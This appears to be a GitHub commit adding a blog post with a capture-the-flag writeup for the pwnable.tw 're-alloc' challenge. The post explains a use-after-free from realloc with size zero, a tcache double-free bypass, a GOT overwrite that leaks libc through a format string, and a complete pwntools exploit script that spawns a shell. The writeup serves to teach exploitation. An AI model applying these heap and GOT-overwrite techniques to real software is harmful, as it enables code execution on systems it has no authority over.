Skip to content

Commit 31cea7b

Browse files
committed
feat: upload writeups for re-alloc challenge from pwnable.tw
1 parent de3c70e commit 31cea7b

2 files changed

Lines changed: 294 additions & 0 deletions

File tree

src/blogs/blogs.json

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,5 +5,11 @@
55
"preview": "Preview is going here",
66
"tags": ["test"],
77
"createdAt": "2025-11-17"
8+
},
9+
{
10+
"file": "re-alloc.md",
11+
"title": "Binary Exploitation [pwnable.tw] - Realloc",
12+
"tags": ["pwn"],
13+
"createdAt": "2025-12-16"
814
}
915
]

src/blogs/re-alloc.md

Lines changed: 288 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,288 @@
1+
# Challenge Description
2+
## File type
3+
```bash
4+
$ file re-alloc
5+
re-alloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.29.so, BuildID[sha1]=14ee078dfdcc34a92545f829c718d7acb853945b, for GNU/Linux 3.2.0, not stripped
6+
```
7+
8+
## Binary Protection
9+
```bash
10+
$ checksec re-alloc
11+
[*] './re-alloc'
12+
Arch: amd64-64-little
13+
RELRO: Partial RELRO
14+
Stack: Canary found
15+
NX: NX enabled
16+
PIE: No PIE (0x3fe000)
17+
FORTIFY: Enabled
18+
Stripped: No
19+
```
20+
21+
## Background
22+
- `re-alloc` file offers 4 options to interact with memory:
23+
- Option 1: Allocate a new memory
24+
- Option 2: Reallocate an old memory
25+
- Option 3: Free a memory
26+
- Option 4: Quit the program
27+
```bash
28+
$ ./re-alloc
29+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
30+
🍊 RE Allocator 🍊
31+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
32+
$ 1. Alloc $
33+
$ 2. Realloc $
34+
$ 3. Free $
35+
$ 4. Exit $
36+
$$$$$$$$$$$$$$$$$$$$$$$$$$$
37+
Your choice: 1
38+
Index:0
39+
Size:12
40+
Data:abc
41+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
42+
🍊 RE Allocator 🍊
43+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
44+
$ 1. Alloc $
45+
$ 2. Realloc $
46+
$ 3. Free $
47+
$ 4. Exit $
48+
$$$$$$$$$$$$$$$$$$$$$$$$$$$
49+
Your choice: 2
50+
Index:0
51+
Size:40
52+
Data:def
53+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
54+
🍊 RE Allocator 🍊
55+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
56+
$ 1. Alloc $
57+
$ 2. Realloc $
58+
$ 3. Free $
59+
$ 4. Exit $
60+
$$$$$$$$$$$$$$$$$$$$$$$$$$$
61+
Your choice: 3
62+
Index:0
63+
```
64+
65+
- The program stores the returned memory address into a global array of pointer (`heap` var) whose length is 2. First 3 options is provided through 3 separated functions:
66+
- Option 1: `allocate()` function takes and validates the index and size from user, then allocates a memory chunk on heap and store in global `heap` variable.
67+
```c
68+
int allocate()
69+
{
70+
_BYTE *v0; // rax
71+
unsigned __int64 index; // [rsp+0h] [rbp-20h]
72+
unsigned __int64 size; // [rsp+8h] [rbp-18h]
73+
void *ptr; // [rsp+18h] [rbp-8h]
74+
75+
printf("Index:");
76+
index = read_long();
77+
if ( index > 1 || heap[index] )
78+
{
79+
LODWORD(v0) = puts("Invalid !");
80+
}
81+
else
82+
{
83+
printf("Size:");
84+
size = read_long();
85+
if ( size <= 120 )
86+
{
87+
ptr = realloc(0LL, size); // malloc(size);
88+
if ( ptr )
89+
{
90+
heap[index] = ptr;
91+
printf("Data:");
92+
v0 = (_BYTE *)(heap[index] + read_input(heap[index], (unsigned int)size));
93+
*v0 = 0;
94+
}
95+
else
96+
{
97+
LODWORD(v0) = puts("alloc error");
98+
}
99+
}
100+
else
101+
{
102+
LODWORD(v0) = puts("Too large!");
103+
}
104+
}
105+
return (int)v0;
106+
}
107+
```
108+
109+
- Option 2: `reallocate()` function receives index, size of new chunk from user and reallocates a memory chunk.
110+
```c
111+
int reallocate()
112+
{
113+
unsigned __int64 index; // [rsp+8h] [rbp-18h]
114+
unsigned __int64 size; // [rsp+10h] [rbp-10h]
115+
void *newPtr; // [rsp+18h] [rbp-8h]
116+
117+
printf("Index:");
118+
index = read_long();
119+
if ( index > 1 || !heap[index] )
120+
return puts("Invalid !");
121+
printf("Size:");
122+
size = read_long();
123+
if ( size > 120 )
124+
return puts("Too large!");
125+
newPtr = realloc((void *)heap[index], size);
126+
if ( !newPtr )
127+
return puts("alloc error");
128+
heap[index] = newPtr;
129+
printf("Data:");
130+
return read_input(heap[index], size);
131+
}
132+
```
133+
134+
- Option 3: `rfree()` function free a allocated memory chunk and set the corresponding index entry of the `heap` variable to null pointer.
135+
```c
136+
int rfree()
137+
{
138+
_QWORD *v0; // rax
139+
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
140+
141+
printf("Index:");
142+
v2 = read_long();
143+
if ( v2 > 1 )
144+
{
145+
LODWORD(v0) = puts("Invalid !");
146+
}
147+
else
148+
{
149+
realloc((void *)heap[v2], 0LL);
150+
v0 = heap;
151+
heap[v2] = 0LL;
152+
}
153+
return (int)v0;
154+
}
155+
```
156+
- The special thing is those 3 operations both repurpose the `realloc` function:
157+
- `realloc(NULL, size)`: same as `malloc(size)`.
158+
- `realloc(ptr, size)`: normal usage of `realloc`. If the size value is the same as old chunk size, then it does nothing and returns the same address as before.
159+
- `realloc(ptr, NULL)`: same as `free(ptr)`.
160+
- Constraints:
161+
- We cannot allocate a chunk whose size is more than 120 bytes.
162+
- Reading user input function always checks the buffer size to prevent buffer overflow.
163+
164+
# Vulnerability
165+
- The vulnerability is in reallocate function. It doesn't handle case that the size value is 0. If we do reallocating operation with the size is 0, the function will run `realloc(ptr, 0)` which is equivalent to `free(ptr)`. Because the index in array storing the pointer to that memory after that isn't set to null, it leads to **use-after-free** vulnerability.
166+
167+
# Exploitation
168+
## Arbitrary Write
169+
- The libc provided in this challenge has mitigation that prevent double-free vulnerability so we cannnot make tcache poisoning attack.
170+
- However, this mitigation only check if an address exists in a bin of tcache corresponding to its chunk size. Therefore, we can bypass double-free check by resize the chunk and free it again.
171+
- We use this attack to put an arbitrary address we want to tcache. In next `malloc` usage will return that address and we have privilege to write any data to that address. Below is the sample code for that idea:
172+
```python
173+
# Pollutes 0x20 bin with TARGET_ADDRESS
174+
allocate(0, 0x10, b"abc")
175+
reallocate(0, 0) # free pointer in index 0
176+
rellocate(0, 0x10, TARGET_ADDRESS)
177+
allocate(1, 0x10, b"abc")
178+
179+
# Set pointer in index 0 to null
180+
reallocate(0, 0x50, b"abc")
181+
rfree(0)
182+
183+
# Set pointer in index 1 to null
184+
rellocate(1, 0x60, b"abc")
185+
rfree(1)
186+
187+
# The same code with 0x30 bin...
188+
```
189+
190+
- After running the above code, tcache should look like:
191+
```bash
192+
pwndbg> tcachebins
193+
tcachebins
194+
0x20 [ 0]: (TARGET_ADDRESS) ◂— ...
195+
0x30 [ 0]: (TARGET_ADDRESS) ◂— ...
196+
```
197+
198+
## Leak Libc
199+
- Since we have arbitrary write and PIE is disabled, I think of overwriting the GOT table. In this case, I would like to overwrite `atoll` function to `printf` so that we can leak data from stack using format string attack.
200+
```python
201+
printf_plt = exe.plt['printf']
202+
allocate(0, 0x20, p64(printf_plt))
203+
```
204+
205+
- With the above, we leaked the data from stack and get libc address.
206+
207+
## Get Shell
208+
- Now we have libc base address, so we can calculate the address of `system` function and again overwrite `atoll` function to `system` function.
209+
- However, `atoll` now became `printf` which returns the number of output character. Therefore, we should change to a more appropriate way.
210+
211+
## Exploit Code
212+
```python
213+
from pwn import *
214+
import utils
215+
216+
context.terminal = "kitty"
217+
context.log_level = "debug"
218+
context.arch = "amd64"
219+
220+
TARGET = "./bin/re-alloc"
221+
222+
target = process(TARGET)
223+
# target = remote("chall.pwnable.tw", 10106)
224+
gdb.attach(target, gdbscript="b *(main + 40)")
225+
226+
exe = ELF(TARGET)
227+
libc = exe.libc
228+
rop = ROP(exe)
229+
230+
def allocate(index: int, size: int, data: bytes):
231+
target.sendlineafter(b"Your choice:", b"1")
232+
target.sendafter(b"Index:", str(index).encode())
233+
target.sendafter(b"Size:", str(size).encode())
234+
target.sendafter(b"Data:", data)
235+
236+
def reallocate(index: int, size: int, data: bytes = b""):
237+
target.sendlineafter(b"Your choice: ", b"2")
238+
target.sendafter(b"Index:", str(index).encode())
239+
target.sendafter(b"Size:", str(size).encode())
240+
if size > 0:
241+
target.sendafter(b"Data:", data)
242+
243+
def rfree(index: int):
244+
target.sendlineafter(b"Your choice: ", b"3")
245+
target.sendafter(b"Index:", str(index).encode())
246+
247+
def printf(data: bytes):
248+
target.sendlineafter(b"Your choice: ", b"3")
249+
target.sendafter(b"Index:", data)
250+
251+
def new_allocate(index: bytes, size: bytes, data: bytes):
252+
target.sendlineafter(b"Your choice: ", b"1")
253+
target.sendafter(b"Index:", index)
254+
target.sendafter(b"Size:", size)
255+
target.sendafter(b"Data:", data)
256+
257+
allocate(0, 0x10, b"abc")
258+
reallocate(0, 0)
259+
atoll_got = exe.got['atoll']
260+
reallocate(0, 0x10, p64(atoll_got))
261+
allocate(1, 0x10, b"abc")
262+
reallocate(0, 0x50, b"abc")
263+
rfree(0)
264+
reallocate(1, 0x60, b"abc")
265+
rfree(1)
266+
267+
allocate(0, 0x20, b"abc")
268+
reallocate(0, 0)
269+
atoll_got = exe.got['atoll']
270+
reallocate(0, 0x20, p64(atoll_got))
271+
allocate(1, 0x20, b"abc")
272+
reallocate(0, 0x50, b"abc")
273+
rfree(0)
274+
reallocate(1, 0x60, b"abc")
275+
rfree(1)
276+
277+
printf_plt = exe.plt['printf']
278+
allocate(0, 0x20, p64(printf_plt))
279+
printf(b"%3$p")
280+
__read_chk_addr = int(target.recvuntil(b"Invalid !", drop=True).decode(), 16)
281+
libc.address = __read_chk_addr - 9 - libc.symbols['__read_chk']
282+
system_addr = libc.symbols['system']
283+
284+
new_allocate(b"A" * 1, b"B" * 10, p64(system_addr))
285+
printf(b"/bin/sh")
286+
287+
target.interactive()
288+
```

0 commit comments

Comments
 (0)